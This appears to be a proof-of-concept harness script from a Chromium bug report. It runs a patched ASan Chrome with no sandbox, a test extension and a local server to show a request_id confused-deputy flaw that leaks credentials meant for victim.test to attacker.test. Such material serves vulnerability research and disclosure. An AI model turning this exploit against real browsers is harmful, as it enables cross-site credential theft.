#!/bin/bash
# Reproduce the WebRequestProxyingURLLoaderFactory request_id confused-deputy.
#
# Prerequisite: chrome built with chromium-changes.patch applied (forces a
# duplicate request_id from the renderer for URLs containing "dupreqid").
HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE=/tmp/chrome-poc-profile
SERVER_LOG="$HERE/server.log"
CHROME_LOG="$HERE/chrome.log"

rm -rf "$PROFILE"
rm -f "$SERVER_LOG" "$CHROME_LOG"

echo "[*] starting server.py"
python3 "$HERE/server.py" >"$SERVER_LOG" 2>&1 &
SERVER_PID=$!
trap 'kill $SERVER_PID 2>/dev/null; kill $CHROME_PID 2>/dev/null' EXIT
sleep 1

echo "[*] launching chrome"
"$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --user-data-dir="$PROFILE" \
  --host-resolver-rules="MAP *.test 127.0.0.1" \
  --load-extension="$HERE/extension" \
  --enable-logging=stderr --v=0 \
  --headless=new \
  "http://page.test:18080/poc.html" \
  >"$CHROME_LOG" 2>&1 &
CHROME_PID=$!

# Wait up to 25s for the exploit marker to appear in the server log.
for i in $(seq 1 25); do
  if grep -q "EXPLOIT-SUCCEEDED" "$SERVER_LOG"; then
    break
  fi
  sleep 1
done

kill $CHROME_PID 2>/dev/null
wait $CHROME_PID 2>/dev/null
kill $SERVER_PID 2>/dev/null

echo
echo "================ server log ================"
cat "$SERVER_LOG"
echo
echo "================ chrome log (filtered) ================"
grep -E '\[POC|\[ext\]|onAuthRequired|ERROR.*request_id|Unexpected request ID' \
     "$CHROME_LOG" | head -60
echo
if grep -q "EXPLOIT-SUCCEEDED" "$SERVER_LOG"; then
  echo "[+] EXPLOIT-SUCCEEDED: attacker.test received credentials gated to victim.test"
  exit 0
else
  echo "[-] exploit marker not found"
  exit 1
fi